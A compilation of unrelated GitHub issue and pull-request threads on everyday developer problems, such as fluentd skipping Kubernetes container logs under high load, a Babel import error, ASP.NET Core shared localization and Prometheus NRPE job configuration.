We run multiple kubernetes pods on the same node. Under low traffic there is generally not a problem but under high load when we generate 128MB size of logs file every 2 minutes fluentd starts to skip the logs. There are gaps in log ingestion. I tracked the last event and the first event in the logs and they correspond to the last log line of the file and the first log line of the next log file that it picks up, all other log files in between gets skipped. We have tons of CPU power available, ruby process is only at 50%.
We've tried almost all the settings described in other related thread, like watcher settings, rotate wait settings but nothing seems to help.
To Reproduce
 <source>
    @id containers.log
    @type tail
    @label @SPLUNK
    tag tail.containers.*
    path /var/log/containers/*.log
    refresh_interval 5s
    pos_file /var/log/splunk-fluentd-containers.log.pos
    path_key source
    read_from_head true
    rotate_wait 10s
    <parse>
      @type json
      time_key time
      time_type string
      time_format %Y-%m-%dT%H:%M:%S.%NZ
      localtime false
    </parse>
  </source>

Have 2 similar pods on a 8 core node, drive load to generate 128 MB file size very 2 minutes. At this time you'll see POD A logs are ingested but no logs from POD B, and then after few mts POD B logs are ingested but no logs from POD A, and this behavior continues.
***** Only thing that worked is if I hard code individual containers in multiple tail input sections using multiple workers. This solution is not a viable solution because container ids are not known ahead of time.
Expected behavior
All the logs are forwarded without skipping them
Your Environment
fluentd 1.4
Amazon Linux 2
Fluentd or td-agent version: fluentd --version or td-agent --version
Operating system: cat /etc/os-release
Kernel version: uname -r
If you hit the problem with older fluentd version, try latest version first.
Your Configuration

Your Error Log
No errors are noted. No warnings as well

this one? https://github.com/fluent/fluentd/issues/2236#issuecomment-514428084

I want to know this problem is k8s specific or not.
If you can reproduce this problem without k8s, do you have reproducible steps/actual example?

@repeatedly I can try and reproduce, however the fact that multiple tail sources with multiple workers leads me to believe fluentd is not able to keep up. However, ruby CPU is only 50%. It looks like with multiple pods it is time slicing the reads instead of using multiple threads to read every log file?

Can I get some guidance on how to reproduce this in a standalone environment? We use splunk to visualize so it's easy to see when logs are skipped or not forwarded. We are pumping > 12K log lines per node per fluentd instance.

To test fluentd locally, simple way is installing fluentd or td-agent and simulate your traffic.
https://docs.fluentd.org/installation
For in_tail, we sometimes use dummer or writing specific script for complicated case, e.g. rotation. I'm not sure how your application generate logs, so if dummer is not fit, writing specific script is better.

And how do I verify the rate of ingestion to the output plugin? Send it to a file? Even then how do I verify? Are there any tools I can use or do I have to do the verification manually?

There are several ways: flowcounter/flowcounter_simple plugins, prometheus plugin, file/your calculated script and more.

I encountered the same situation on GKE, drive load to generate 50 MB file size very 1 minute, and the docker rotation size is 30mb. we found that under normal circumstances, in_tail detects log rotation and outputs two logs at the same time:
2019-12-19 16:46:07 +0000 [info]: [fluentd-containers.log] detected rotation of /var/log/containers/notification-549bf6d97f-z6lt2_production_notification-1d2adf6306e58363b61ae8b9e1a3de45fb7c1ecd8f377f39cdbd88ed25cd0e7d.log; waiting 5 seconds
2019-12-19 16:46:07 +0000 [info]: [fluentd-containers.log] following tail of /var/log/containers/notification-549bf6d97f-z6lt2_production_notification-1d2adf6306e58363b61ae8b9e1a3de45fb7c1ecd8f377f39cdbd88ed25cd0e7d.log

But in the time of log skip, there is only the first log, and in the following few seconds, these two logs appear again
2019-12-19 16:47:27 +0000 [info]: [fluentd-containers.log] detected rotation of /var/log/containers/notification-549bf6d97f-z6lt2_production_notification-1d2adf6306e58363b61ae8b9e1a3de45fb7c1ecd8f377f39cdbd88ed25cd0e7d.log; waiting 5 seconds

2019-12-19 16:47:39 +0000 [info]: [fluentd-containers.log] detected rotation of /var/log/containers/notification-549bf6d97f-z6lt2_production_notification-1d2adf6306e58363b61ae8b9e1a3de45fb7c1ecd8f377f39cdbd88ed25cd0e7d.log; waiting 5 seconds
2019-12-19 16:47:39 +0000 [info]: [fluentd-containers.log] following tail of /var/log/containers/notification-549bf6d97f-z6lt2_production_notification-1d2adf6306e58363b61ae8b9e1a3de45fb7c1ecd8f377f39cdbd88ed25cd0e7d.log

Does not seem to detect rotations at the right time.
version:
fluentd: 1.2.4

Is there any solution/workaround for this issue? we have stuck with same issue and multi workers not helping as well for us.
We use SCK (Splunk connect for kubernetes), but I don't think that changes anything.

I have same problem, and I think this problem is caused by k8s logging mechanism.

Containers write log to "/var/lib/docker/containers/*".
kubelet make a symbolic link to log source stored on "/var/lib/docker/containers/*"  to "/var/log/pods/~~/" and "/var/log/containers/~.log"
fluentd configuration( we setup this ) and in_tail plugin is watching "/var/log/containers/~~.log".

Each symbolic links are made one by one of each pods.
This means in_tail plugin can not detect "source log rotation".
I think I have 2 ways to resolve this issue.(not tested.)

Setup in_tail plugin to detect logs directly.( set the path to "/var/lib/docker/containers/~~".)
If we take this way, we need to prepare some method to identify the logs we need to collect because there are all logs made by containers work on the node.

Write log to other files directly from application. ( not use stdout/stderr )


Ui Improvement - Logo field

OVERVIEW
The following is from a list from the Chicago Sprint on Improvements that the group felt would be important to users:
https://salesforce.quip.com/JKMnAsPUEeDd
Logo field at the top of the Grant Editor screen cannot be removed or turned off - would like to replace it or remove it as an option
ACCEPTANCE CRITERIA
OUT OF SCOPE
BACKGROUND/REFERENCE

Confirmed that Logo can be excluded


Feature: ContextFreeData

Will not work until EOSIO/eosio-java#116 is merged and references are updated to include various references that were added in that PR.
Todo:

Bump version of eosio-java to use changes
Search for //TODO: Fix once eosio-java is merged to uncomment/fix once eosio-java PR is merged
Remove all /fake directory mocks

Closing in favor of #24


0xc809a65564d151606f2c6e10d523be9b3a108765

Update SLSH info

you cannot update file verifylist.json

you cannot update file verifiedlist.json

okay I will roll it back

you cannot update file verifiedlist.json

I delete my changes and now please update my token info


Thermal comfort index is presented as an anomaly.

Need to update text for the thermal comfort index: (mean radiant temperature) to reflect that the information presented are anomalies rather than absolute values.

No it is absolute values so no need to fix


Fix defaultProp on SSR

Fixes #1987

Codecov Report

Merging #1991 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master   #1991   +/-   ##
======================================
  Coverage    99.8%   99.8%
======================================
  Files         148     148
  Lines        2589    2589
======================================
  Hits         2584    2584
  Misses          5       5

Impacted Files
Coverage Δ

src/behaviors/Visibility/Visibility.js
100% <ø> (ø)
:arrow_up:

src/modules/Sticky/Sticky.js
100% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 23ec465...4e37b80. Read the comment docs.

Duplicate of https://github.com/Semantic-Org/Semantic-UI-React/pull/1990 :)


Layout issue with nav items.

[X] Bug
Description:
The navigation items in the header are not aligned properly. They are overlapping and do not follow the design specifications. This issue is affecting the visual appearance and user experience on screens .
Expected Behavior:
The navigation items should be evenly spaced, aligned horizontally, and responsive across all screen sizes.
ScreenShot

Details to Include When Taking the Issue:
Participant Role: GSSOC'24-extd Contributor

@vivekvardhan2810 I would like to take responsibility for fixing this issue. Please assign it to me.

I have seen many navbar issues, and i have mentioned it before for contributors to not create issues regarding navbar and there should be no more navbar issues, so i have closed this issue, if you have any queries, you can join discord server for further updates and communication.
we are not looking for navbar updates for now, as it was done and changes many times before, please understand.
and already it is in updation, so please understand


I am getting a weird error on import

import loadable from 'loadable-components';
^^^^^^
SyntaxError: Cannot use import statement outside a module
at compileFunction ()
at wrapSafe (internal/modules/cjs/loader.js:1054:16)
at Module._compile (internal/modules/cjs/loader.js:1102:27)
at Module._compile (/Users/nikolasjody/development/Likuid-production/garage/aventador/node_modules/pirates/lib/index.js:83:24)
at Module._extensions..js (internal/modules/cjs/loader.js:1158:10)
at Object.newLoader [as .js] (/Users/nikolasjody/development/Likuid-production/garage/aventador/node_modules/pirates/lib/index.js:88:7)
at Module.load (internal/modules/cjs/loader.js:986:32)
at Function.Module._load (internal/modules/cjs/loader.js:879:14)
at Module.require (internal/modules/cjs/loader.js:1026:19)
at require (internal/modules/cjs/helpers.js:72:18)
this is my .babelrc, i didnt set my es2015 modules to false
{
"ignore": [
"node_modules/**/*"
],
"presets": [
"@babel/preset-env",
"@babel/preset-react"
]
}
this is basically me following the steps in
https://github.com/kuflash/react-router-sitemap/issues/71
ive been going in circles solving one problem after another, they never stop.
here are the versions of my dev dependencies.
"@babel/cli": "^7.2.3",
"@babel/core": "^7.2.2",
"@babel/node": "^7.10.3",
"@babel/plugin-proposal-class-properties": "7.1.0",
"@babel/plugin-syntax-dynamic-import": "^7.0.0",
"@babel/plugin-transform-modules-commonjs": "7.1.0",
"@babel/plugin-transform-react-constant-elements": "7.0.0",
"@babel/plugin-transform-react-inline-elements": "7.0.0",
"@babel/preset-env": "^7.3.1",
"@babel/preset-react": "7.0.0",
"@babel/register": "7.0.0",
i have also installed the newest node.js

@NikolasJody any luck?
I can get it working with generic routes but not my actual routes which have other imports from third party libraries (like antd design)

As specified in the docs,

Please note that in this case you need a module 'babel-register' to work with the ES2105 syntax and .jsx format.

So, you need to add the package babel-register and require it in your script


build: rely on engines to prevent using npm for dependency install

Rather than relying on a preinstall script, set engine-strict to true in a project .npmrc file, relying on the engines having npm set to note that yarn should be used instead

preinstall should also cover other possible package managers like Yarn 2 or pnpm. Relying on .npmrc may not cover those cases.


Improve developer experience using custom nuget packages and other references

The problem
NetDaemon supports using custom projects that include custom dependecies. It is not well documented how this should be done and also we need to consider security in this case. The default should be sandboxed and secure but also alow the flexibility to add more features and dependecies if you want to.

The proposed solution

[ ] Default usage of custom project file if it is included in same path as apps
[ ] Specifically allow NetDaemon to use the included project file'
[ ] Document in netdaemon.xyz docs site
[ ] Provide downloadable examples in awesome_netdaemon repo

Additional context
We need to make sure it is secure by default and it is a by choice NetDaemon uses the provided file

today netdaemon takes all the  *.cs  file in apps folder and load them as assembly into memory.
what about loading also  DLLs with the same approach ?
if dll is signed with a certificate, you can consider it "secure" ... but also gie possibility, by  a flag,  to   "load_unsigned_dll".
once in memory, your  .cs  code can use it...

today netdaemon takes all the *.cs file in apps folder and load them as assembly into memory.
what about loading also DLLs with the same approach ?
if dll is signed with a certificate, you can consider it "secure" ... but also gie possibility, by a flag, to "load_unsigned_dll".
once in memory, your .cs code can use it...

Yes I been considering this option. I am a bit scared of the complexity and security. I will consider this for the future. For now I will go with making the experience better by just allowing copying the whole project to NetDaemon folder and it will work out of the box. I will also keep the setting for specify specific project paths if you have a complex project structure and wants to point the the NetDaemon service project as startup.

I also added an option to this feature issue to do deployments using publish the project.

today netdaemon takes all the *.cs file in apps folder and load them as assembly into memory.
what about loading also DLLs with the same approach ?
if dll is signed with a certificate, you can consider it "secure" ... but also gie possibility, by a flag, to "load_unsigned_dll".
once in memory, your .cs code can use it...

Yes I been considering this option. I am a bit scared of the complexity and security. I will consider this for the future. For now I will go with making the experience better by just allowing copying the whole project to NetDaemon folder and it will work out of the box. I will also keep the setting for specify specific project paths if you have a complex project structure and wants to point the the NetDaemon service project as startup.

I also added an option to this feature issue to do deployments using publish the project.

I'm ready for any kind of  test :-)

This is fixed for now. I will lookinto how to run NetDaemon apps in isolation and be distributable with HACS for example. This requires alot of re-thinking.


CLI testing

Currently no real tests for the command line tool. This is needed.
Do we need another module to interface with the shell to accomplish this?

if module isnt require.main
use custom argv :D
0.13.0 soon.


[FLINK-14711][table] add alter and show function ddl

Brief change log

Add alter function and show functions ddl in SQL parser
Add unit test in FlinkSqlParserImplTest

Verifying this change
The alter and show function ddl syntax is verified in unit tests of FlinkSqlParserImplTest.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (yes)
If yes, how is the feature documented? (not documented)

@zjuwangg  @bowenli86 @xuefuz
Please review this PR at your most convenient time. The PR only add new functions in Parser. As the https://github.com/apache/flink/pull/9689/files has language-related definition. I will bridge alter and show functions with runtime after 9689 is merged. Thanks.

Thanks @HuangZhenQiu for your work on this.
I left some comments from my side.

@zjuwangg @xuefuz
Thanks for your comments. I updated the PR accordingly. Please review again at your most convenient time.

@bowenli86 @xuefuz Thanks for the kindly review.
I just updated the naming of functions accordingly.

LGTM. Just a minor issue: please use the ticket title as the first commit message, e.g. "[FLINK-14711][table] add alter and show function ddl"


Problem installing

I just tried to install and got this:
No more user input required, you can complete unattended
It will take approx 10 minutes for the script to complete

Updating package lists
Upgrading packages
Installing required packages
Problem installing packages. Check log and rerun once it is resolved
$

Any help please? I dont see any log to check...
Ubuntu 16

I tried now with clean Debian 8 (before with clean Ubuntu 16) and I got this error...

Debian GNU/Linux 8.9 (jessie)

Checking the web sites we will need are accessible
Checking Debian mirrors
http://debian.mirror.serveriai.lt/debian: OK
http://ftp.debian.org/debian: FAIL
http://security.debian.org: OK
Checking major 3rd party components
Rtorrent: OK
xmlrpc-c: OK
RuTorrent: OK
Autodl-irssi: OK
Some of your Debian mirrors are down, try again later
$

Not my day :(

Just tried with fresh ubuntu 15 and the -l option to create log file.
The log shows this at the end:

Setting up libjson-rpc-perl (1.06-1) ...
Setting up libxml-parser-perl (2.41-3) ...
Setting up libxml-sax-expat-perl (0.40-2) ...
update-perl-sax-parsers: Registering Perl SAX parser XML::SAX::Expat with priority 50...
update-perl-sax-parsers: Updating overall Perl SAX parser modules info file...
Replacing config file /etc/perl/XML/SAX/ParserDetails.ini with new version
Processing triggers for libc-bin (2.21-0ubuntu4) ...
Processing triggers for systemd (219-7ubuntu6) ...
Processing triggers for php5-fpm (5.6.4+dfsg-4ubuntu6.4) ...
Errors were encountered while processing:
nginx-full
E: Sub-process /usr/bin/dpkg returned an error code (1)

Well, I dig about the problem and find that apache was working on the fresh installs... so I just stopped it and re-run the installer and was ok, at least in the ubuntu 15 :)

Use a another mirror fix your problem

Fix  for this applied in 1.5.4


Issue with Service Not Working with My Controller

Hi,
I used the service on dualshock-tools.github.io to calibrate my PS5 controller, but it had no effect on the range. What could be causing this issue? It doesn’t make the slightest improvement in range, and I’m still experiencing high errors. My controller's board model is BDM-040.
I’d appreciate any guidance on this matter.
Thank you.

By the way, I’ve also replaced the controller’s analog sticks with Hall Effect ones.

How can I find out which version my sticks are? I didn’t replace them myself; a repair technician did it for me. Yes, both were replaced at the same time.

You can find it here, the "2" is the version of Ginfull stick, these ones always worked to me:


Add update alert status to cost-management

…anagement/preview/2018-08-01-preview/costmanagement.json
Add update alert status
Latest improvements:
MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Contribution checklist:

[x] I have reviewed the documentation for the workflow.
[x] Validation tools were run on swagger spec(s) and have all been fixed in this PR.
[ ] The OpenAPI Hub was used for checking validation status and next steps.

Automation for azure-sdk-for-js

Automation for azure-sdk-for-go

Automation for azure-sdk-for-python

Automation for azure-sdk-for-node

Automation for azure-sdk-for-java

Automation for azure-sdk-for-ruby

Can one of the admins verify this patch?

@KrisBash, @ravbhatnagar Please review from ARM side.

@yaborens if the rework that ARM suggested takes couple of days to implement in server side I would suggest to close this PR and open later once it is finalized. We have a policy, that requires closing the PR if there is no momentum.


SelectiveTimestampColumnReader ignores ValueHook

Bug description
Pushing aggregation into TableScan produces null values for TIMESTAMP columns.
E.g. the following query returns nulls for all rows in 2nd column when b is a TIMESTAMP:
SELECT a, min(b) FROM t GROUP BY 1

Unit test repro:
TEST_F(TableScanTest, xxx) {
  auto rowType = ROW({"c0", "c1", "c2"}, {TINYINT(), INTEGER(), TIMESTAMP()});
  auto vectors = makeVectors(2, 1'000, rowType);
  auto filePath = TempFilePath::create();
  writeToFile(filePath->path, vectors);
  createDuckDbTable(vectors);

  auto op =
      PlanBuilder()
          .tableScan(rowType)
          .partialAggregation(
              {"c0"}, {"min(c1)", "min(c2)"})
          .finalAggregation()
          .planNode();

  auto task = assertQuery(
      op,
      {filePath},
      "SELECT c0, min(c1), min(c2) FROM tmp GROUP BY 1");
}

I found this issue by extending AggregationFuzzer to create plans with TableScan node.
CC: @laithsakka @Yuhta @oerling
System information
n/a
Relevant logs
No response

CC: @zacw7

@mbasmanova @kagamiori
Wei found a bunch of bugs in different aggregation functions when she tried to update the testing with table scan.
We are blocked by human capacity to work on this feature.

We have a check guard against it now


[Enhancement] Points/plugs concealing

Please add opportunity to conceal points and plugs by applying blocks as facades. It may be extra GUI slot or right-click with block in offhand like it is in EnderUtilities.

To be honest, I don't see the need for it

Energy network ≠ machines. Flux network is more like wires or conduits. Moreover, aesthetics isn't basically needed, but it makes things better.

They're NOT conduits. Our mod is intended for creating network based on connections. Point/plug (connection) is the "MACHINE", they shouldn't be hidden. NEVER SUPPORT FACADE FUNCTION


Allow multiple commands against targets

Hello,
Is it possible to specify multiple commands against targets?
I have tried the following and it seems to fail. It would be easy to group all checks for targets in a job.
- job_name: 'nrpe'
    metrics_path: /export
    params:
      target: ['<IP_ADDRESS>:5666']
      command: ['check_load','check_users']
    static_configs:
      - targets:
        - <IP_ADDRESS>:9275

Thanks.

You can create a job per check.

Can you please give the format of how multiple commands will write in prometheus.yml file???
I didn't find the proper specific answer on the internet.  I stuck on this point for the last 2 days.
thanks in advance!!

@brian-brazil,@arj22 , Can you please give the format of how multiple commands will write in prometheus.yml file??? I didn't find the proper specific answer on the internet. I stuck on this point for the last 2 days. thanks in advance!!

scrape_configs:
  - job_name: nrpe_check_load
    metrics_path: /export
    params:
      command: [check_load]
    static_configs:
      - targets:
        - 'example.com:5666'
  - job_name: nrpe_check_users
    metrics_path: /export
    params:
      command: [check_users]
    static_configs:
      - targets:
        - 'example.com:5666'

as advised by Brian.


enforce =std=c++14 for lambda capture initializers

Fixes realsense-viewer.cpp:69:33: warning: lambda capture initializers only available with ‘-std=c++14’ or ‘-std=gnu++14’ [-Wc++14-extensions]
69 |                 [&viewer_model, weak_device_models = std::weak_ptr< device_models_list >( device_models ), filename](
This is needed on C++17 compilers.

All compilers which default to std=c++17, e..g. since gcc-11.
I was using gcc-13 and now gcc-14


Call Vscode Commands from init.lua help

I am getting stuck with calling api.call("command") from lua and I can't find any examples
this is what I have in my keymaps.lua
if vim.g.vscode then
local neovim_api = require("kipke.core.vscode-neovim")
map("n", "<leader>k", neovim_api.call("editor.action.moveLinesUpAction"), { desc ="create new line and go"}) -- move line up(n)
end

I have added the vscode-neovim lua files to the config, I can see this api.call have an affect on startup of vscode as whaterver command is in there runs, but it never fires with  "l"
Just wondering if someone can explain how i am using this wrong?

Not sure what issue you described. Why you copy lua files to your config?

but it never fires with <leader>l

i assume you mean <leader>k since that is the mapping you pasted.


Added retry and fall back when google.auth.default() fails

Credentials will be None if google.auth.default() still failed after 5 trials and the inventory should proceed with other resources.
Resolves #1832

The issue is addressed in #2091


fix(ci): update sdk changeset path

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 51.28%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
6049

Relevant Lines:
11796

💛  - Coveralls


Dockerfile torch 24 07

Attempt to make it work on H100.

if you can find a vllm that works w this , it's ok for me


fix: #4558 Rename calendarIconClassname props to calendarIconClassName props

Description
Linked issue: close #4558
Problem
See issue #4558
Changes
fix props : calendarIconClassname => calendarIconClassName
Screenshots

To reviewers

Contribution checklist

[x] I have followed the contributing guidelines.
[x] I have added sufficient test coverage for my changes.
[x] I have formatted my code with Prettier and checked for linting issues with ESLint for code readability.

@martijnrusschen
According to the reasons given in the issue.

some class name properties is named xyzClassName, while others are called xyzClassname, this creates a bit of confusion when trying to override styling.

I tried to make the old props apply if you are not using the new props.
I also tried to output console.warn if you are using the old properties, what do you think?

Thanks for the review.

I'm not certain what the project's guidelines are around console statements since they are usually removed for production code.

Agreed. However, since console.warn is often not deleted in development builds, I think it makes sense to leave the message in console.warn.

I think some sort of notice of deprecation in the README would be nice or even removing the calendarIconClassname in the README and let it silently work for existing projects but ensure future projects only use calendarIconClassName.

I agree, I have marked it as deprecated in datepicker.md, but not in index.md, as it will probably be overwritten by auto-generation, so no details are given.

These are likely decisions to be made by the project owner though since there are many different ways to accomplish deprecating fields.

Agreed.
@martijnrusschen
What do you think about this PR response?

There are currently 3 PRs in the list that contain breaking changes. Happy to make a major version upgrade if we can get all 3 merged.

@yuki0410-dev Can you merge the latest main branch to make sure this PR is still compatible?

@martijnrusschen
I have imported the latest master and the CI results seem to be fine.


Add support for workflow templates and add retry/retry_interval inputs.

Changes related to supporting Workflow Templates
This PR adds support for triggering AWX/Tower workflow templates. A new workflow_template_id input was added. If it is passed the corresponding workflow template will be launched.
The response to retrieving the job output for a workflow template does not return a url to retrieve stdout. Therefore, in the case of workflow template jobs the request to retrieve stdout is skipped. The printJobOutput method was updated to make this change as well as refactored slightly to deduplicate some logic.
The exportResourceName method is skipped in the case of workflow templates since there is no stdout results to export.
Changes Related to Retry/Retry Interval inputs
Support for retries and retry_interval inputs was added. This allows for some fault tolerance in requests made to AWX/Tower API and more gracefully handle scenarios where there is an intermittent issue with the AWX/Tower Server.
The axios-retry library was included to make use of these new inputs and apply them to the API requests made.

Sorry about that, I'll look into it and see if I can figure it out.

I believe the build-test workflow will now work. The ncc version need to be bumped up.

Just occurred to me to check the other workflows as well. Sure enough Check dist/ was failing now. Fixed that and now confirmed Check dist/, build-test, and CodeQL are now all succeeding. Let me know if you need anything else to merge. Thanks!


Popup handling

So with watir here are possible popups that are handled, with watir-webdriver which of these are possible?
Basic Authentication
DIV Popup
File Downloads
File Uploads
JavaScript Pop Ups
Modal Dialogs
ModeLess Dialog
New Browser Windows
Reload Page with Form
Script Error
Security Alerts
Security Information
I'm interested in contributing patches!

Thanks for your offer to contribute! The short answer is that we support whatever WebDriver supports. If I understand your list correctly, that would be:

DIV popup: that is, just normal HTML.
File Uploads: we do whatever is necessary when you do browser.file_field.set(str)
JavaScript popups: either using the methods here, or reaching into the underlying WebDriver instance (e.g. browser.driver.switch_to.alert.accept)
New Browser Windows
File Downloads: We don't handle the popup, but some browser can be configured to automatically download files
Basic Authentication

Most of the others seem quite browser-specific. Your attention is probably better spent looking into how to improve WebDriver, since that's where the implementation needs to happen if there's something  you'd like to see in watir-webdriver.

Thank you for such a sweet reply! :)
The more /me dug into the web-driver it was evident that most of them were already in place. Still struggling on getting basic auth working on FF though. As per your suggestion will see if there is something in watir-webdriver on which I can work on.


Build fails with "Element implicitly has an 'any' type because expression of type '1' can't be used to index type 'BuildDynamoDBTableResponse'."

The build fails following the Readme:
$ cd pattern/aws-dynamodb-kinesisstreams-s3
npm install
npm run build

Results on:
up to date, audited 500 packages in 519ms

64 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

><EMAIL_ADDRESS>build
> tsc

lib/index.ts:143:24 - error TS7053: Element implicitly has an 'any' type because expression of type '1' can't be used to index type 'BuildDynamoDBTableResponse'.
  Property '1' does not exist on type 'BuildDynamoDBTableResponse'.

143     this.dynamoTable = defaults.buildDynamoDBTable(this, {
                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
144       dynamoTableProps: _dynamoTableProps,
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
145     })[1] as dynamodb.Table;
    ~~~~~~~~~

Found 1 error in lib/index.ts:143

NPM Version returs:
$ npm version
{
  'aws-dynamodb-kinesisstreams-s3': '2.0.1',
  npm: '9.6.7',
  node: '18.17.0',
  acorn: '8.8.2',
  ada: '2.5.0',
  ares: '1.19.1',
  brotli: '1.0.9',
  cldr: '43.1',
  icu: '73.2',
  llhttp: '6.0.11',
  modules: '108',
  napi: '9',
  nghttp2: '1.55.1',
  openssl: '3.1.1',
  simdutf: '3.2.12',
  tz: '2023c',
  undici: '5.22.1',
  unicode: '15.0',
  uv: '1.46.0',
  uvwasi: '0.0.18',
  v8: '<IP_ADDRESS>-node.26',
  zlib: '1.2.11'
}

Thank you for the note. This has been fixed in the latest commit.
Closing the issue.
Please let me know if the error exists.


chore: adds foundry templates to quickstart templates

Related:

https://github.com/matter-labs/zksync-cli/pull/136
https://github.com/matter-labs/zksync-cli/pull/135

What :computer:

Changes folder structure for quickstart to separate hardhat from foundry templates
Adds foundry templates

Why :hand:

Apart of the docs quickstart

Evidence :camera:
Include screenshots, screen recordings, or console output here demonstrating that your changes work as intended

Notes :memo:

Any notes/thoughts that the reviewers should know prior to reviewing the code?

just a minor thing, we have /factory in Foundry but /factories in Hardhat. Should we keep the name consistent?


readd dev packages to wolfi git image

This seems to have been dropped in https://github.com/chainguard-images/images/pull/960, and not tested except via hugo's tests, which check that the -dev image can be used to run git submodule.
This PR also adds tests, which only run on the dev images, to check that git submodule works.

@imjasonh it looks like your tests don't pass:
│ Test failed for ref
│ registry.local:5000/testing/git@sha256:0daed8b8f9c0dfca94aa991eef51645e082bd1ad1abf79893f149e0884e89325,
│ got error: exit status 128
│ warning: failed to exec 'man': No such file or directory
│ fatal: no man viewer handled the request


Asp.net mvc core shared localization in a view

I try to use shared resources files in view. My Startup.cs has code:
 services.AddLocalization(opts => {
           opts.ResourcesPath = "Resources";

        });

And i add this code to a view
@inject IHtmlLocalizer<ShareResource> SharedLocalizer
@SharedLocalizer["Log in"]

But this do not work. Localizer try find ShareResource file on this path project.Resources.Resources
If i delete opts.ResourcesPath = "Resources"; from startup, IHtmlLocalizer work correct but other (Controller) localizer do not work. Please help me. And sorry for my english.

@ryanbrandenburg @hishamco any thoughts on this?

@vov4ik08 what namespace is ShareResource in? That may make a difference here.

@dougbu For ShareResource auto generate class with namespace project.Resources

@vov4ik08 if your SharedResource places in Resources folder I'm not sure why it's auto generated?!! Anyhow do you have a repo to reproduce your issue, perhaps it's a namespace issue as @dougbu said before

Hopefully it is not the exact same issue  https://github.com/aspnet/Localization/issues/268

@vov4ik08 if you haven't already please read this section of the localization docs. This kind of issue is usually caused by resx files not being named in accordance with that guidance.
If after consulting that you're still runnning into trouble, uploading a reproduction repo like @hishamco said is generally the fastest way for us to help you since it can be difficult to accuratly convey the structure of your program.

@hishamco @ryanbrandenburg
I create file ShareResource.resx in folder Resources, then run generator code and create file ShareResource.Designer.cs with name space project.Resources. After than i add to Stratup.cs this:
 services.AddLocalization(opts => {
           opts.ResourcesPath = "Resources";
        });

and add to view inject
@inject IHtmlLocalizer SharedLocalizer
@SharedLocalizer["Log in"]
Translation do not work. If i debug SharedLocalizer i see it tries to use the file project.Resources.Resources.ShareResource and if remove from Stratup.cs this line  opts.ResourcesPath = "Resources"; it tries to use the file project.Resources.ShareResource.

I will try to reproduce your issue, but it would be nice if you create a repo for the exact sample, because may be there's some difference that let it work with me

@hishamco https://github.com/vov4ik08/TestLocalizedProject .  Use Index.cshtml Thank you.

If i delete opts.ResourcesPath = "Resources"; from startup, IHtmlLocalizer work correct but other (Controller) localizer do not work. Please help me. And sorry for my english.

@vov4ik08 I tried to remove the ResourcePath but nothing changed?!! anyhow to resolve your issue just rid off auto generated class and replace it with
namespace Project
{
    public class ShareResource
    {
        public string TEST { get; set; }
    }
}

and it should work properly

@hishamco  Thank you for answer.  I thought that it is possible and in another way. Thanks for the help.

I found another solution. I have gbolal shared resources file - ShareResource.resx and shared resources for fr ShareResource.ru.resx, in code i use translate as @ShareResource.ResourceManager.GetString("Log in")

ShareResource.resx and shared resources for fr ShareResource.ru.resx, in code i use translate as @ShareResource.ResourceManager.GetString("Log in")

You mean Russian (Not Fr) culture.
Using ShareResource.ResourceManager.GetString unnecessary while the built-in abstraction call it in your behalf, have a look to this https://github.com/aspnet/Localization/blob/f650de8cdf5214bcbb2e88210baac0f99ce3d053/src/Microsoft.Extensions.Localization/ResourceManagerStringLocalizer.cs#L192

Yes, but if do not off auto generated class, i have ShareResource.resx and ShareResource.ru.resx ShareResource.fr.resx. ShareResource.resx - default. In view file i use @ShareResource.ResourceManager.GetString("Log in") , because i can not use IHtmlLocalization. On fr location all string disply from file ShareResource.fr.resx automatically

Still wonder why you insist to use the ResourceManager in the auto generated class?!! As I said before IStringLocalizer, IHtmlLocalizer and IViewLocalizer did the same job in your behalf. Just inject them and use them wherever you want

For example:
I have two views:
users/Login.cshtml and account/Singup.chhtml
And i can translate Title for button "Submit"
If use IViewLocalizer , i can create two resource file  users/Login.resx and account/Singup.resx
and duplicate string "Submit" to two files

What if you create a shared resource like what you did before?

this @inject IHtmlLocalizer SharedLocalizer ?

@inject IStringLocalizer<SharedResource> Localizer

You can use the IHtmlLocalizer in case you have an HTML content

Yes, but if i write this
@inject IHtmlLocalizer Localizer, all string try to find by path
project.Resources.Resources.SharedResource, not project.Resources.SharedResource

Why?!! I already get the correct resource value, after modifying your code previously

Please commit your changes to TestLocalizedProject

You can create your a shared resource like the following
namespace Project
{
    public class SharedResource
    {
        public string Submit { get; set; }
    }
}

Yes, you are right. I commit changes to test project. Thank you so much.

All the best

why do you need to create the class"sharedResource"?


Input will blur when use in Dialog which have PaperComonent props

Duplicates

[X] I have searched the existing issues

Latest version

[X] I have tested the latest version

Current behavior 😯
when i use Input in Dialog which have PaperComponent props. the Input will blur every change.
codesandbox link
Expected behavior 🤔
don't blur.
Steps to reproduce 🕹
codesandbox link
Context 🔦
codesandbox link
Your environment 🌎
codesandbox link

You defined your custom Paper component inline. It basically creates a new instance of it on every render, which messes up the focus. Move the component definition out of the render function to make it work properly: https://codesandbox.io/s/inputs-material-demo-forked-ofxtr?file=/demo.js

@michaldudak ok, thanks.


fix navbar-end CSS

closes #383
So far this addresses the elements-out-of-order problem by removing float: right, and ensures that navbar-end-items all end up on a single line (space permitting) by setting them to display: inline-block.  PR marked as draft because so far it doesn't address the second image of #383 in which navbar-end shows up on the right side in hamburger mode when the window is of medium width.  If anyone sees immediately how to address that, please chime in and/or push commits here.

@drammock thanks for the PR!
